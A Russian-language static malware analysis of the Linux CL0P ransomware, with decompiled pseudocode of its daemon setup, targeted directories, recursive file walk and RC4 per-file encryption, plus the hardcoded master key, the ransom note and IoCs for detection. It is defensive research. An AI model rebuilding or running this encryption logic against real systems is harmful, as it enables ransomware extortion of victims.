Анализ программы-вымогателя CL0P

Содержание

Вымогатель CL0P 1
Статический анализ файла 1
Использование IDA 1
Просмотр main 1
Функция directories – список директорий 2
Функция WorkDirectory - взаимодействие с директориями 3
Функция cryptFile – шифрование директорий 3
Итог статического анализа 5
Предложения по детекту и IoC 6

Вымогатель CL0P

В первые вредоносная программа CL0P появилась в 2019 году. Данное вредоносное ПО является программой вымогателем, поскольку она реализует шифрование определённый каталогов жертвы, оставляя при этом txt файл для связи со злоумышленниками.

Статический анализ файла

Файл представляет собой статически собранный 32-битный ELF без отладочной информации (stripped).

Использование IDA

Просмотр main

В `main` происходит создание процесса-демона. Также вызывается функция `ChangeDir`, которая меняет директорию на корневую (/).

После это вызывается функция `directories`.

```
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  struct timespec *v4; // [esp+4h] [ebp-24h]
  int v5; // [esp+18h] [ebp-10h]

  v3 = time();
  srandom(v3);
  copy_data(data, "Jfkdskfku2ir32y7432uroduw8y7318i9018urewfdsZ2Oaifwuieh~~cudsffdsd", 0x42u);
  v5 = clone();

  if ( v5 > 0 )
    exit(0);
  if ( v5 < 0 )
    exit(1);

  chRights(0);
  openlog("daemon-named", 17, 8);
  syslog(5, "Successfully started daemon-name");
  if ( setid() < 0 )
  {
    syslog(3, "Could not generate session ID for child process");
    exit(1);
  }
  if ( (ChangeDir("/") & 0x80000000) != 0 )
  {
    syslog(3, "Could not change working directory to /");
    exit(1);
  }
  close(0);
  close(1);
  close(2);
  while ( 1 )
  {
    directories();
    sleep(0xFFFFFFFF, v4);
  }
```

Функция main

Функция directories – список директорий

Из данной функции можно понять с какими директориями будет взаимодействовать программа.

```
int directories()
{
  struct timespec *v1; // [esp+4h] [ebp-4h]

  WorkDirectory("/opt", "*.*");
  WorkDirectory("/u01", "*.*");
  WorkDirectory("/u02", "*.*");
  WorkDirectory("/u03", "*.*");
  WorkDirectory("/u04", "*.*");
  WorkDirectory("/home", "*.*");
  WorkDirectory("/root", "*.*");
  return sleep(0xFFFFFFFF, v1);
}
```

Функция для работы с директориями

Директория `/opt` используется для установки сторонних программа, которые не входят в стандартную систему.

Директории `/u01-/u04` используются как точки монтирования при развёртывании базы данных Oracle.

Директория `/home` используется для хранения личных файлов и настроек пользователей.

Директория `/root` используется для хранения личных файлов и настроек суперпользователя.

Функция WorkDirectory - взаимодействие с директориями

Функция `WorkDirectory` работает следующим образом:

- Сначала открывает директорию и проходится по всем файлам в ней, однако если директории . или .., то программа пропускает их.
- При преходе в директорию malware оставляет `contacts` (файл для контакта со злоумышленниками).
- Далее вызывается функция `cryptFile`, если в пути файла нет строки C_I_0P. Также происходит проверка на директорию, и если она есть, то вызывается `WorkDirectory.`

```
directory = open(dir);
if ( directory )
{
  // directory open
  while ( 1 )
  {
    dirr = readdir(directory);
    if ( !dirr )
      break;
    if ( strcmp(dirr->d_name, ".") && strcmp(dirr->d_name, "..") )
    {
      contacts(dir);
      copyNameDir(filename, dir);
      *&filename[strlen(filename)] = '/';
      strcat(filename, dirr->d_name);

      if ( !strstr(filename, "C_I_0P") )
        cryptFile(filename);
      stat64(filename, buf);

      // check for folder
      if ( (buf[0].st_mode & 0xF000) == 0x4000 )
        WorkDirectory(filename, AllFiles);
    }
  }
  closeDirectory(directory);
}
else
{
  // directory isn open
  OpenError("%s: No such file or directory.\n", dir);
}
}
```

Функция WorkDirectory

```
aContactUsByEma db 'CONTACT US BY EMAIL:',0Ah
                                        ; DATA XREF: contacts+10↑o
                db 0Dh,'unlock@support-mult.com',0Ah
                db 0Dh,'or',0Ah
                db 0Dh,'unlock@rsv-box.com ',0Ah
                db 0Dh,'OR WRITE TO THE CHAT AT->',0Ah
                db 0Dh,'http://6v4q5w7di74grj2vtmikzgx2tnq5eagyg2cubpcnqrvvee2ijpmprz'
                db 'qd.onion/remote0/93868e77-1331-411a-9643-dc9ad26a5095?secret=lasa'
                db 'lle ',0Ah
                db 0Dh,'(use TOR browser) ',0Ah
```

Функция contacts

Функция cryptFile – шифрование директорий

Разберём функция `cryptFile.` Сначала для файла происходи установка прав, с помощью `chmod`, на чтение и запись. Также к пути добавляется маркер C_I_0P, где будет лежать

сгенерированный ключ. Далее в обязательном порядке устанавливается размер максимального количества байт для шифровки – 100.000.000 байт (100 МБ).

И самое главное – происходит шифрование с помощью алгоритма RC4.

RC4 — это легитимный симметричный потоковый шифр, основанный на генерации псевдослучайной последовательности байт (гаммы), которая накладывается на исходный текст с помощью логической операции XOR. Его реализация состоит только из математических операций.

Сгенерированный ключ состоит из 117 символов и сохраняется рядом с файлом при помощи функции `writeKey`, причём для каждого файла ключ генерируется отдельно и зашифрованный другим ключом, который лежит в `data`.

```
void *addr; // [esp+20Ch] [ebp-1Ch]
size_t len; // [esp+210h] [ebp-18h]
__blksize_t st_blksize; // [esp+214h] [ebp-14h]
unsigned int cleanData; // [esp+218h] [ebp-10h]
int i; // [esp+21Ch] [ebp-Ch]

// pathname = full dir path
memset(path, 0, sizeof(path));
copyNameDir(path, pathname);
v1 = strlen(path) + 1;
strcpy(&path[v1 - 1], ".C_I_OP");
result = openD(&path[v1], path) ^ 1;


if ( result )
{
  chmod(pathname, 0600u);
  fd = openFile(pathname, 2, 0600u, v5);       //
  if ( fd == -1 )
    return OpenError("Error Open %m \n");

  fstat64(fd, &buf);
  len = buf.st_size;
  st_blksize = buf.st_blksize;
  if ( *&buf.st_size > 100000000u )
  {
    len = 100000000;
    st_blksize = 0;
  }
  addr = mmap2(nullptr, len, 3, 1, fd, 0);
  close(fd);
  if ( !addr )
  {
    return OpenError("Error Open %m \n");
  }
  else
  {
    memset(key, 0, sizeof(key));
    for ( i = 0; i <= 116; ++i )
    {
      ind = i;
      key[ind] = value_0[rand256()];
    }
    crpRC4(key, 117u, addr, len);
    len_data = strlen(data) + 1;
    cleanData = len_data - 1;
    crpRC4(data, len_data - 1, key, 117);
    writeKey(pathname, key);
    return munmap(addr, len);
  }
}
return result;
```

Функция cryptFile

Итог статического анализа

Если подвести итог статического анализа, то кратко описать поведение программы можно так: программа сначала становится демоном с переходом в корневую директорию, которая шифрует файлы только определённо заданных директорий, при этом сохраняя свой ключ шифрования рядом с зашифрованным файлом и файлом контактов.

Однако у нас есть открытая часть ключа, который используется для шифрования сгенерированного ключа. Метод шифрования также RC4. Исходя из этого можно написать дешифратор.

Предложения по детекту и IoC

Выделены следующие IoC:

Сетевые:

1. Портал в Tor: 6v4q5w7di74grj2vtmikzgx2tnq5eagyg2cubpcnqrvvee2ijpmprzqd.onion

Файловые:

1. Хэш: beeef193b35aaac37ffd5a58e9359874fc49723674b8a04fbd7df9a15ddea42f
2. Маркер в пути файла: .C_I_0P

Почтовые:

1. Почты: unlock@support-mult.com, unlock@rsv-box.com

Системные:

1. Создание демон-процесса

Поведенческие:

1. Открытие директорий и запись (/opt, /home, /root, /u01-u04)
2. Ограничение объёма на шифрования (100 МБ)

Предложение по детекту: сначала должна идти проверка на создание демона с переходом в /. После чего обход конкретных директорий и появление файла с ключом с расширением C_I_0P. И это должно быть всё вместе и в строгой последовательности выполнятся.